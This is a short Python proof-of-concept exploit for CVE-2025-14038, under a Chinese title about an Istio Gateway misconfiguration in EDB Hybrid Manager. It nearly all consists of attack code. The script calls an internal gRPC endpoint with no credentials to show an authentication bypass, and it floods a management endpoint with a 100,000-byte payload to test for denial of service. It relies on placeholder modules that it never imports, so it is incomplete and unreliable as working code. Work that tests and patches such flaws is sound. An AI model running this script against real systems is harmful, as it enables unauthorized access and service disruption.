EDB Hybrid Manager Istio Gateway配置错误导致未授权访问gRPC端点漏洞

import grpc import json # CVE-2025-14038 PoC - Unauthenticated gRPC Endpoint Access # Target: EDB Hybrid Manager (versions < 1.3.3) def exploit_hybrid_manager(target_host, target_port=50051): """ Exploit for CVE-2025-14038: Istio Gateway misconfiguration allows bypassing authentication on certain gRPC endpoints. Note: This PoC is for educational and authorized testing purposes only. """ # Example gRPC channel without authentication channel = grpc.insecure_channel(f'{target_host}:{target_port}') # Attempt to access protected gRPC endpoints # Endpoints that should require auth but bypassed due to misconfiguration try: # Example: Query internal service information # This should fail with auth error but succeeds due to vulnerability stub = some_service_pb2_grpc.InternalServiceStub(channel) response = stub.GetServiceInfo( some_service_pb2.ServiceInfoRequest(), metadata=[] # No credentials required! ) print(f"[!] Successfully accessed endpoint - Auth bypassed!") print(f"[+] Response: {response}") return True except grpc.RpcError as e: print(f"[-] Request failed: {e.code()} - {e.details()}") return False finally: channel.close() def check_dos_vulnerability(target_host): """ Test for DoS by sending malformed data to gRPC endpoints. """ channel = grpc.insecure_channel(f'{target_host}:50051') stub = some_service_pb2_grpc.ManagementServiceStub(channel) # Send malformed request data malformed_request = some_service_pb2.UpdateRequest( data='A' * 100000 # Oversized/malformed data ) try: response = stub.UpdateConfig(malformed_request) print("[*] Request processed (service may be vulnerable)") except Exception as e: print(f"[!] Service error: {e}") if __name__ == '__main__': import sys if len(sys.argv) < 2: print("Usage: python cve_2025_14038_poc.py <target_host>") sys.exit(1) target = sys.argv[1] exploit_hybrid_manager(target) check_dos_vulnerability(target)